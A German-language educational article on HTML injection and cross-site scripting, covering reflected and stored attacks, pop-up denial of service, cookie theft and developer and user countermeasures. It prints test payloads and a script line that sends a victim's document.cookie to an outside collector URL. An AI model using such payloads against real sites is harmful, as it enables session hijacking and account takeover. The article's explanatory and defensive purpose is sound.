Keine andere Angriffsform auf Software hat die Welt so verändert wie Pufferüberlauf-Schwachstellen. Eine Vielzahl an Anwendungen ist ihr bisher zum Opfer gefallen und die Thematik nach wie vor von Wichtigkeit. In Bezug auf Interesse besonders im Web-Bereich von ähnlicher Tragweite sind Cross Site Scripting-Schwachstellen. Durch den manipulativen Eingriff in die Datenverarbeitung einer Web-Applikation in soll deren Verhalten eingegriffen werden. Dieser Artikel versucht die Probleme des statischen HTML-Injection und des Cross Site Scriptings zu illistrieren und Gegenmassnahmen aufzuzeigen.

Einführung

Cross Site Scripting ist der Name einer speziellen Angriffsform, die primär Web-Anwendungen betrifft. Durch das Einschleusen von Seitenanweisungen (HTML) oder Skript-Code (z.B. JavaScript) kann ein Angreifer Einfluss auf das Verhalten der Applikation ausüben. Das Problem ist immer dann gegeben, wenn eine Eingabe eines Benutzers ohne gegebene oder umfassende Überprüfung wieder ausgegeben wird. Gutes Beispiel für das Miteinbeziehen der Eingabe eines Benutzers in die Ausgabe der Web-Applikation sind Suchmaschinen. Normalerweise kann bei einer solchen in einem Textfeld ein Suchbegriff eingegeben werden. Wurde die Suche durchgeführt, werden die Resultate aufgelistet. Um ein erhöhtes Mass an Komfort gewährleisten zu können, wird normalerweise irgendwo der zuvor eingegebene Suchbegriff ausgegeben. Der Benutzer soll schliesslich auf einen Blick sehen können, welche Suchabfrage zu welchen Resultaten geführt hat.

Der Entwickler einer Suchmaschine geht davon aus, dass die Benutzer seiner Lösung normale Suchbegriffe eingeben. Begriffe wie “Computer-sicherheit” oder “Herr der Ringe”, so genannte Strings, werden von ihm und seiner Anwendung erwartet. Diese Zeichenketten stellen an sich keine Gefahr dar, denn die interne Verarbeitung dieser passiert in geregelten Bahnen:

1. Einlesen der Suchabfrage (Zeichenkette)
2. Suchen des Begriffs in der Datenbank
3. Ausgeben des Begriffs zwecks Identifi-zierung der Resultate
4. Ausgeben der gefundenen Resultate (z.B. Webseiten)

Der Entwickler übersieht dabei jedoch, dass sich das Verhalten eines Angreifers von jenem eines normalen Benutzers unterscheiden wird. Vielleicht versucht der Angreifer spezielle Zeichenketten, die im System reserviert sind, einzugeben. Spezielle Zeichenketten in diesem Zusam-menhang sind sämtliche HTML-Tags, die durch den Webbrowser, der die Webseite interpretiert und darstellt, verarbeitet werden.

Grundidee der Injection

Ein Angreifer kann nun anstatt eines normalen Begriffs einen HTML-Tag als Suchabfrage ein-setzen. Dieser wird ganz regulär in die Suche geführt, was zu wenigen oder eher unbrauchba-ren Resultaten führen wird. Die Gefahr besteht nun in der Ausgabe des zuvor genutzten Such-begriffs. Diese Ausgabe wird, sofern keine Schutzmassnahmen implementiert wurden, eins zu eins ausgegeben und ebenso durch den Webbrowser verarbeitet. Der injizierte HTML-Code wird dann nicht als Daten-Inhalt der Seite, sondern als Meta-Information des Seiten-Grundgerüsts interpretiert. Ein guter Test ist die Eingabe von <b>Test</b>. Der einschliessende HTML-Tag <b> weist den Browser an, sämtliche Zeichen zwischen Anfang und Ende als fett (engl. bold) darzustellen. Wird denn nun in der Darstellung des Suchbegriffs dieser als fette Schrift abgedruckt, sind die Chancen sehr gross, dass eine richtige Cross Site Scripting-Schwachstelle – bei der mobiler Programmcode eingeschleust werden kann – vorhanden ist.

Eine alternative Test-Methode besteht im Nutzen des HTML-Tags </html>. Dieser wird am Ende eines HTML-Dokuments angebracht, um den Webbrowser anzuweisen, dass das Dokument an eben dieser Stelle zu Ende ist. Gibt die Such-maschine diesen Tag nun im Kopf der Suchresul-tate aus, wird der Webbrowser sofort mit dem Interpretieren der restlichen Webseite aufhören. Eine halbfertig aufgebaute Seite ist das Resultat.

Dies wird statische HTML-Injection genannt, da bei der Eingabe nicht-dynamischer HTML-Code injiziert wurde. HTML-Injection von sich aus ist weniger eine Sicherheitslücke, sondern eher ein Schönheitsfehler. In manchen Fällen wird sich diese Schwachstelle nutzen lassen, um eigene Informationen im Kontext einer authentischen Seite darstellen zu lassen (Phishing). So könnte man auf der Resultat-Seite einer bekannten Firma einen Hinweis ausgeben, dass unter einer bestimmten URL ein Gratis-Tool heruntergeladen werden kann. Dazu wird zusätzlich der HTML-Tag zur Darstellung eines Links eingebracht. Ein leichtgläubiges Opfer würde diesem Link folgen und das vermeintlich authentische Utility herunter-laden.

Von einem solchen Fehler betroffen ist bei-spielsweise die kommerzielle Lösung namens Citrix Web Access (http://www.citrix.com). Durch die Authentisierung über ein Frontend soll der Web-Zugriff auf eine Citrix-Umgebung gewähr-leistet werden. Ist die Authentisierung nicht er-folgreich, wird eine Fehlermeldung im Rahmen der Web-Anwendung ausgegeben. Diese Feh-lermeldung generiert sich durch eine Zeichenket-te, die durch die Seiten-URL definiert ist. Indem sich nun die URL und damit die Fehlermeldung anpassen lässt, kann ein Eingriff in die Ausgabe der Web-Applikation umgesetzt werden.

Angriff ist aktiv und temporär

Die meisten Injection-Angriffe auf Web-Anwendungen sind von Grund auf nur von aktiver und temporärer Natur. Aktiv in dem Sinne, dass der Benutzer (und somit das Opfer) den korrup-ten Zugriff über den Browser selber herstellen muss. Ein erfolgreicher HTML-Injection Angriff ist also nicht persistent. Wird die Seite wieder ver-lassen, ist der Fehler nicht mehr ausgenutzt, da sowohl die manipulative Eingabe als auch die korrupte Ausgabe fehlen. Und ein ausgenutzter Fehler ist normalerweise nur für den Benutzer, der ihn herbeigeführt hat, ersichtlich.

Um einen anderen Benutzer die aktive Script-Injection umsetzen zu lassen, wird diesem in der Regel der dazu notwendige Link zukommen ge-lassen. Dies ist jedoch nur dann möglich, wenn die Variablen der Web-Anwendung in der URL gespeichert werden. Diese Daten werden dann beim Umsetzen der HTTP GET-Anfrage mitge-schickt. Nehmen wir als Beispiel die URL http://www.scip.ch/search.php?query=Test. In dieser wird ein Zugriff auf die PHP-Datei /search.php auf dem Webserver mit dem Host-namen www.scip.ch umgesetzt. Bei diesem HTTP-Zugriff wird in dem PHP-Skript eine Vari-able namens query mitgegeben (Sie wird später durch $_GET['query’] von der PHP-Anwendung eingelesen). Diese wird beim Programmaufruf mit der Zeichenkette “Test” initialisiert. Ist das PHP-Skript nun gegen eine simple HTML-Injection – zum Beispiel mit dem Bold-Tag <b> – verwundbar, kann der Link in http://www.scip.ch/search.php?query=<b>Test</b> geändert werden. Diesen Link lässt man in der Hoffnung nun dem Opfer zukommen, dass dieses diesem Folgt und die Script-Injection die gewünschte Wirkung zeigt (z.B. Social Enginee-ring Anweisung zum Herunterladen einer Hinter-tür).

Eine alternative Möglichkeit vom Browser Daten zum Webserver zu übertragen ist in HTTP POST-Anfragen gegeben. Die Variablen werden dabei im Body einer eben solchen Anfrage umgesetzt. Dies initiiert der Webbrowser im Hintergrund und der Datenaustausch geschieht komplett transparent für den Benutzer. Im Normalfall kann also gar keine POST-Anfrage durch einen Browser erzwungen werden – Das Verschicken eines präparierten Links ist sodann hinfällig (Es gibt einige experimentelle Techniken, die sich jedoch nicht umfassend in Tests bewährt haben).

In einigen Umgebungen kann sich eine Script-Injection aber durchaus als persistent und damit sitzungs-übergreifend erweisen. Und zwar dort, wo die Eingaben eines Angreifers gespeichert und anderen zugänglich gemacht werden. Dies können Webforen oder Gästebücher sein, in denen Benutzer ihre Nachrichten hinterlassen und andere diese lesen können. So manche Suchmaschinen bieten auch die Funktionalität der Anzeige der letzten Suchbegriffe an.

Sehr viele Anwendungen dieser Art weisen derlei Übertragungs-Fehler, wenigstens zu ihren An-fangszeiten, auf. Ist eine solche Persitenz gege-ben, muss nicht zwangsweise ein Cross Site Scripting-Link an ein Opfer geschickt werden. Dieses kann auch ganz beiläufig oder durch ei-nen Social Engineering-Hinweis auf einen harm-los erscheinenden Link stossen. Ob denn nun die betroffene Web-Anwendung die Daten als GET oder POST entgegennimmt, ist in einem solchen Fall irrelevant. Die korrupten Daten sind in der Datenbank der Web-Applikation gespeichert und werden bei einem legitimen Zugriff ausgewiesen.

Injizierung von Skript-Code

Die Möglichkeiten des Einschleusens von simp-lem HTML-Code sind starke Grenzen gesetzt. In der Regel wird darüber lediglich das Ausgeben einer Meldung im Sinne einer Social Engineering-Attacke möglich sein. Ein Opfer könnte durch einen vermeintlich authentischen Hinweis zu einer ungewollten und kompromittierenden Handlung (z.B. Folgen eines Links, Download einer Hintertür, verschicken von Passwörtern) bewegt werden. Dies erfordert stets die verleitete oder erzwungene Kooperation des Opfers. Ist dieses sich den Gefahren gefälschter Meldungen be-wusst und tritt mit einem angemessenen Mass an Kritik an solche heran, könnte das Vorhaben am gesunden Menschenverstand des Probanden scheitern. Die Schulung der Awareness von Mit-arbeitern ist eine umfassende und solide Metho-de, um sich gegen derartige Übergriffe zu schüt-zen.

Eine Weiterführung und im eigentlichen Sinne eine Cross Site Scripting-Attacke ist beim Ein-schleusen von effektivem Skript-Code gegeben. Vom Prinzip her wird dabei nicht von der simplen HTML-Injection unterschieden. Anstatt jedoch HTML-Code zu übertragen, werden Skript-Anweisungen übermittelt. Viele moderne Webbrowser sind nämlich neben dem Interpretie-ren von statischem HTML-Code in der Lage, dynamischen Script-Code (z.B. JavaScript) aus-zuführen. Durch das Einschleusen von aktivem Programmcode ergeben sich natürlich gewisse Möglichkeiten automatisierter Zugriffe, die so-dann keine weitere Interaktion eines Benutzers mehr erfordern.

Der übliche Test für das Injizieren von Script-Code ist in der Abfrage für <script>alert('XSS');</script> gegeben (z.B. mit dem Link http://www.scip.ch/search.php?query=“) gegeben. Diese JavaScript-Anweisung führt dazu, dass der Browser nach der Interpretation des Tags eine Warnmeldung mit dem Inhalt “XSS” ausgibt. Die meisten Webbrowser lassen sodann ein kleines Fenster mit dem Text aufpoppen, das durch das Klicken auf den Okay-Button wieder geschlossen werden kann.

Ein mit JavaScript generiertes Alert-Popup ist an sich noch keine Gefahr. Darüber liessen sich, grob gesagt, auch nur wieder die von der simplen HTML-Injection bekannten Social Engineering-Meldungen absetzen. Kann ein solcher Zugriff erfolgreich umgesetzt werden, sind weitere Automatisierungen mit grösster Wahrscheinlichkeit möglich. Dabei bieten sich destruktive Denial of Service-Attacken, das Auslesen von Sitzungs-/System-Informationen (z.B. Cookies) sowie das Ausnutzen von browser-spezifischen Fehlern (z.B. Pufferüberlauf) an.

Primitive Denial of Service

Die einfachste Form der Umsetzung eines An-griffs ist in der Regel in einer Denial of Service-Attacke gegeben. Dabei werden destruktive Ab-sichten verfolgt. Ein System soll durch Überlas-tung oder Fehlbehandlung zum Absturz bewegt werden, so dass legitime Anwender den Dienst nicht mehr nutzen können.

Anstatt dass nun eine einzelne Popup-Meldung mittels JavaScript-alert ausgeben wird, kann diese Funktion nun in eine unendliche while-Schleife packen. Durch das Nutzen von ““ lassen sich nun fortwährende Popup-Nachrichten mit dem Inhalt “DoS!” generieren. Der Benutzer wird es voraussichtlich nicht schaffen, diese genug schnell wegzuklicken und dadurch wieder den regulären Betriebszustand seines Browsers oder gar Systems wieder herstellen zu können. Das Killen des Prozesses und damit der Verlust sämtlicher temporärer Daten (z.B. geladene Webseiten, aktive Downloads) sind die Folge davon.

Denkbar ist auch das Nutzen der window.location. Durch das Skript ““ wird der Webbrowser beim Interpretieren dieses Tags auf die definierte location weiterge-leitet. Ein Trick könnte nun darin bestehen, bei Windows-Systemen auf in IO.SYS reservierte Dateien aus der MS DOS-Vergangenheit zuzu-greifen. Werden nämlich auf Dateien wie C:\CON\CON oder C:\NUL\NUL zugegriffen, kann ein verwundbares System (Microsoft Windows 95 bis 2000) einfrieren. Ein Angreifer könnte nun als location des Ja-vaScripts eine eben solche Datei angeben, was zu einem sofortigen Stillstand des Systems füh-ren wird (Dieser Angriff lässt sich auch mit einem simplen HTML IMG Tag umsetzen).

Ein denkbarer persistenter Angriff wäre nun der, dass ein Angreifer in einem verwundbaren Web-forum ein Posting verfasst, dass eben diesen Script-Code enthält. Er wählt ein reizvolles Sub-jekt für seinen Thread, so dass möglichst viele Benutzer diesen betrachten wollen. In dem Mo-ment, in dem ihr Browser diesen darstellen will, werden sie mit den nervigen JavaScript-Meldungen überhäuft oder auf die korrupte URL weitergeleitet. Der Angreifer hat sein primitives Ziel mittels Cross Site Scripting erreicht.

Ausspähen eines Cookies

Bisher wurden nur verhältnismässig simple An-griffsmöglichkeiten mit HTML- und Script-Injection diskutiert. Offensichtlich lassen sich solche für Social Engineering-Manipulationen oder primitive Denial of Service-Angriffe einspannen. Die wahre Gefahr besteht jedoch in so genannten konstruktiven Angriffen, bei denen Daten ausgelesen und erweiterte Rechte erlangt werden können.

Ein klassisches Beispiel des Cross Site Scrip-tings ist im Ausspähen von Cookies gegeben. Cookies sind kleine Textdateien, die ein jeder moderne Webbrowser zu speichern hat. In diesen werden Daten zur Kommunikation mit einzelnen Webseiten gespei-chert. Diese ursprünglich von Netscape (http://www.netscape.com) initiierte Entwicklung wurde angestrebt, um das damals sehr statische World Wide Web um eine gewisse Dynamik zu erweitern.

Heutzutage werden in Cookies vor allem Sessi-on- und Account-Informationen zwischengespei-chert. Eine Webanwendung weist den Webbrow-ser dabei an, die spezifische Information lokal zu speichern und beim nächsten Zugriff mitzuliefern. So kann zum Beispiel Transparenz geschaffen werden, indem sich der Benutzer nicht beim Ab-rufen eines jeden Webdokuments neu authenti-sieren muss, da der Webserver dies transparent mittels Cookie im Hintergrund macht (z.B. durch Angabe der geheimen Session-ID der legitimen Sitzung).

Durch JavaScript ist die Möglichkeit gegeben, dass auf eben diese Cookies zugegriffen werden kann. Durch document.cookie kann eine ent-sprechende Referenzierung auf die Seiten-Cookies gemacht werden. Für den Angreifer besteht die Schwierigkeit nun darin, eben dieses Cookie – das sich im Besitz des Opfers befindet – sich selber zukommen zu lassen. Eine klassische und immerwieder genutzte Methode ist durch das Abschicken über eine dynamische Webseite gegeben.

Ein Angreifer stellt als erstes einen erreichbaren Webserver bereit. Auf diesem wird ein aktives Skript (z.B. PHP oder CGI) erstellt, das das Ein-lesen von Variablen über HTTP GET-Anfragen erlaubt. Ein Zugriff auf http://www.scip.ch/save.cgi?Test könnte Bei-spielsweise die mitgeschickte Zeichenkette Test in eine Datei speichern.

Bei der erweiterten Cross Site Scripting-Attacke zum Ausspähen des Cookies wird nun ein Explo-it-Skript eingesetzt, das den folgenden Ablauf automatisiert:

1. Auslesen des Cookies
2. Aufrufen der Zielseite
3. Abschicken des Cookies

Grundsätzlich muss dazu eine gewisse Ver-schachtelung im Skript umgesetzt werden, wobei auf alle JavaScript-Elemente zurückgegriffen wird, die bisher in dieser Abschrift vorgestellt wurden. So wird <script>window.location='http://www.scip.ch/read.cgi?'+document.cookie</script> das Cookie ausgelesen und als nächstes eben dieses an das CGI-Skript /read.cgi auf dem System www.scip.ch übergeben. Ist nun also ein solches Script in als Injection möglich, kann ein Angreifer nach Belieben Cookies auslesen lassen.

In vielen modernen Systemen werden pseudo-zufällig gewählte Session-IDs in Cookies gespei-chert. Ist ein Angreifer im Besitz einer solchen, kann er innerhalb eines vordefinierten Zeitrah-mens authentisierte Sitzungen des legitimen Benutzers übernehmen. An anderen Stellen wer-den kryptografisch geschützt die Kontodaten (z.B. Passwörter mit MD5 gesichert) in Cookies zwischengespeichert. Für einen Angreifer ist es in einem solchen Fall ein leichtes, mit einem Passwort-Cracker an die gewünschten Daten zu kommen und das betroffene Konto zu überneh-men.

Gegenmassnahmen für Entwickler und Benutzer

Grundsätzlich müssten Möglichkeiten zur HTML- und Script-Injection durch die Entwickler entspre-chender Software verhindert werden. Die Eingaben der Benutzer sollten stets auf ver-dächtige Zeichen und Zeichenketten untersucht werden. Sonderzeichen, wie zum Beispiel spitze Klammern, gilt es zu verhindern oder, falls denn wirklich notwendig, mit HTML zu codieren (z.B. das < zu <). Sprachen wie PHP stellen zur sicheren Codierung von Sonderzeichen Funktio-nen wie htmlspecialchars() und strip_tags() zur Verfügung. So kann eine Interpretation als Steu-erzeichen durch den Browser bei der Eingabe – spätestens aber bei der Ausgabe! – verhindert werden. Viele Entwickler von Web-Applikationen greifen zu diesem Zweck auf altbekannte regulä-re Ausdrücke zurück, die eben diese speziellen Zeichen erkennen können.

Endanwender sind generell angehalten, keinen Links aus zwielichtiger oder unbekannter Herkunft zu folgen. Vor allem, wenn diese sonderbare Zeichen oder Codierungen aufweisen. Son-derzeichen, HTML-Tags und Script-Anweisungen (vor allem <script>) in URLs deuten stets auf eine mögliche Cross Site Scripting-Attacke hin. Diese können aber auch Codiert werden, so dass das Erkennen der wahren Hintergründe einer URL mit blossem Auge eher schwierig ist.

Eine Empfehlung, die seit einiger Zeit in diesem Zusammenhang auch immerwieder von Microsoft gemacht wird, ist das Deaktivieren der Interpreta-tion von aktiven Inhalten. Dies kann bestmöglich im genutzten Browser dediziert für unbekannte Webseiten geschehen. Bei solchen müssen Script-Element sodann zuerst freigeschaltet wer-den, bevor diese vom Webbrowser interpretiert werden. Dadurch lassen sich Überraschungsan-griffe oder Übergriffe aus Unachtsamkeit verhin-dern. Viele Webseiten sind jedoch auf die Scrip-ting-Möglichkeiten der modernen Webbrowser angewiesen, so dass dies vorerst nur eine partielle Lösung sein kann.

Theoretisch sind Web-Proxies von Application Gateways in der Lage, eben genau Zugriffe auf Cross Site Scripting-Links zu verhindern. Die meisten Entwickler solcher Lösun-gen haben es jedoch versäumt, eine derartige Funktionalität anwendergerecht umzusetzen. Sowohl Entwickler als auch Benutzer könnten sich mit einer derartigen dedizierten Lösung vor unerwünschten Datenaustausch schützen. Ob und inwiefern diese Möglichkeit in Zukunft gebo-ten wird, bleibt auch weiterhin fragwürdig. Bisher sind nur einige wenige Lösungen bekannt, die web-basierte Probleme wie Cross Site Scripting generell und adäquat adressieren (z.B. visonys Airlock).

Bedeutung und Entwicklung

Cross Site Scripting Attacken erhielten erstmals im CERT Advisory CA-2000-02 (Malicious HTML Tags Embedded in Client Web Requests) öffent-liche Aufmerksamkeit. Genutzt wurde diese Art von Schwachstellen jedoch schon Jahre bevor. Praktisch alle Webforen und Gästebücher liessen eine Injizierung von HTML- und Script-Code zu. Viele Angreifer nutzten dies primär zur Umsetzung aktiver Werbung. Durch eine automatische Weiterleitung mittels Ja-vaScript (document.location) wurden die Besu-cher der jeweiligen Boards auf die Webseite des Angreifers gelockt. Dieser hatte jedoch nicht das Ausspähen von sensitiven Daten im Sinn. Viel eher mass er einer erhöhten Besucheranzahl die Wichtigkeit bei.

Vor allem in den Jahren 2001 bis 2003 wurde eine überdurchschnittliche Anzahl an Cross Site Scripting-Schwachstellen in altbekannten Produk-ten publik. Die meisten Advisory-Postings auf den einschlägigen Mailinglisten hatten nur noch diese Fehler-Klasse zum Inhalt. Aufgrund der Einfachheit dieser Sicherheitslücken haben vor allem “alte Hasen” diese als Anfänger-Problem abgetan und zum Ignorieren der Vielzahl der Meldungen aufgefordert.

Dies ist jedoch eine fahrlässige Ableitung, denn die Möglichkeiten von Cross Site Scripting-Attacken sollten nicht unterschätzt werden. Spä-testens durch das Auslesen von Session- und Account-Informationen lassen sich unter Um-ständen kritische Applikationen übernehmen. Die Manipulation von Online-Banking und dergleichen sind dank Cross Site Scripting-Fehlern keine Seltenheit. Die Möglichkeiten können jedoch noch weiter gehen:

Ein Posting, das zwar nicht wirklich eine akademische Neuerung in Bezug auf Cross Site Scripting postuliert, wurde auf Bugtraq und Full-Disclosure publiziert (“Attacking the local LAN via XSS”, pdp, 04. August 2006). In diesem ist die Rede davon, wie durch Cross Site Scripting-Attacken ganze LANs unter Kontrolle gebracht werden können. Es bestehen gar schon Ideen, diese Technologien für das Umsetzen von Remote-Control-Backdoors im Sinne von BackOrifice und NetBus zu nutzen. Und dies alles mit den vermeintlich uninteressanten Technologien HTML, Javascript und SOAP/WSDL.

Der Trend zu sichereren Web-Applikationen ist jedoch schon spürbar. Die meisten Entwickler entsprechender Lösungen haben mittlerweile begriffen, dass der Eingabe eines Benutzers nicht vertraut werden darf. Das Überprüfen von Benutzereingaben auf unerlaubte Zeichen oder Zeichenketten ist keine Seltenheit mehr und wur-de durch die in Cross Site Scripting typischen Pattern erweitert. Die wenigsten professionellen Web-Anwendungen lassen spitze Klammern oder gar script-Tags in unverarbeiteter Form zu. Das gesteigerte Sicherheitsbewusstsein der Pro-grammierer hat also dazu geführt, dass die Mög-lichkeiten von Cross Site Scripting doch verhält-nismässig limitiert wurden.

About the Author

Marc Ruef has been working in information security since the late 1990s. He is well-known for his many publications and books. The last one called The Art of Penetration Testing is discussing security testing in detail. He is a lecturer at several faculties, like ETH, HWZ, HSLU and IKF. (ORCID 0000-0002-1328-6357)

Links

• http://www.visonys.com